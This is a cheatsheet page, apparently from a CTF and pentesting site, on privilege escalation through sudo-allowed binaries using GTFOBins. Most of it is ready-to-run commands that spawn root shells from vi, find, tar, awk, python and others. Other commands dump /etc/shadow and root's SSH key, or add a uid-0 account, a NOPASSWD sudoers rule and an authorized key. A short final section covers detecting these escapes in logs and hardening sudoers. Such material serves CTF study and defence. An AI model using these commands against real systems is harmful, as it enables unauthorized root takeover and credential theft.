the_open_door
coffee
ESEN
← Back to index

sudo escape with GTFOBins

Full command arsenal in the cheatsheet

GTFOBins is a catalogue of legitimate Unix binaries that, when misconfigured, can break restrictions: read/write files beyond your reach, keep a shell, or escalate privileges. The most common CTF route is sudo: when sudo -l shows a user can run a given binary as root without a password, many of those binaries offer a "side door" to spawn a shell inheriting that privileged context.

Enumeration

The starting point is always sudo -l, which lists the rules granted to the current user:

sudo -l
# (root) NOPASSWD: /usr/bin/vi /var/www/html/*

Each allowed binary gets looked up on GTFOBins: if it has a Sudo section, there's almost always a direct escape. The key is that plenty of tools can run arbitrary commands without being shell interpreters: editors (vi, vim, nano), pagers (less, more, man), languages (awk, perl, python, find -exec) or utilities like tar/rsync/zip with their hooks.

Root shell escape

Each line is the escape for whichever binary shows up in sudo -l. The shell inherits root because sudo already elevated the process:

sudo vi -c ':!/bin/bash' /dev/null                 # or :set shell=/bin/bash + :shell
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-c","reset; exec bash")'
sudo nano                                           # ^R^X then type: reset; sh 1>&0 2>&0
sudo find . -exec /bin/bash \; -quit
sudo env /bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo perl -e 'exec "/bin/bash";'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo less /etc/profile                             # inside: !/bin/bash
sudo man man                                        # inside: !/bin/bash
sudo git -p help config                             # inside the pager: !/bin/bash
sudo ftp                                            # inside: !/bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
sudo systemctl                                      # pager open: !sh

Many "network" or service binaries also escape (ssh, scp, mysql, nmap, gdb, docker); the Sudo section of GTFOBins has the exact line for each.

File read as root

If the binary gives no shell but reads, dump /etc/shadow to crack the hash or read root's private key. One binary per line:

sudo cat /etc/shadow
sudo cp /etc/shadow /tmp/shadow && cat /tmp/shadow
sudo head -n 100 /root/.ssh/id_rsa
sudo xxd /etc/shadow | xxd -r
sudo base64 /etc/shadow | base64 -d
sudo less /etc/shadow
sudo vim -c ':r /etc/shadow' -c ':w! /tmp/out' -c ':q!'

File write as root

If the binary writes, the cleanest path is adding yourself to /etc/passwd, dropping a rule in /etc/sudoers, or planting a key in root's authorized_keys:

openssl passwd -1 -salt hax pass123                 # generates the $1$hax$... hash
echo 'hax:$1$hax$...:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers
sudo cp ~/.ssh/id_rsa.pub /root/.ssh/authorized_keys

GTFOBins classifies each binary by Shell, File read, File write and SUID: check which column the one you're allowed falls into.

What usually gets in the way

How to detect it. sudo logs every invocation to /var/log/auth.log (or journalctl _COMM=sudo): the signature is a legitimate binary (vi, find, tar, awk) run as root and immediately followed by a sh/bash child, a lineage that binary never produces in normal use (auditd/Sysmon for Linux over execve with the allowed binary as ppid). A find ... -exec /bin/bash or a tar --checkpoint-action=exec in the sudo logs is practically a confession.

Defence. Grant via sudo only binaries with no shell-out capability; avoid broad wildcards; prefer wrapper scripts with fixed arguments; don't keep LD_* in env_keep; and audit sudoers against the GTFOBins list. Related to other abuses like sudo + rsync, writable script via sudo or PATH hijacking.

Toolswget

Machines where it's used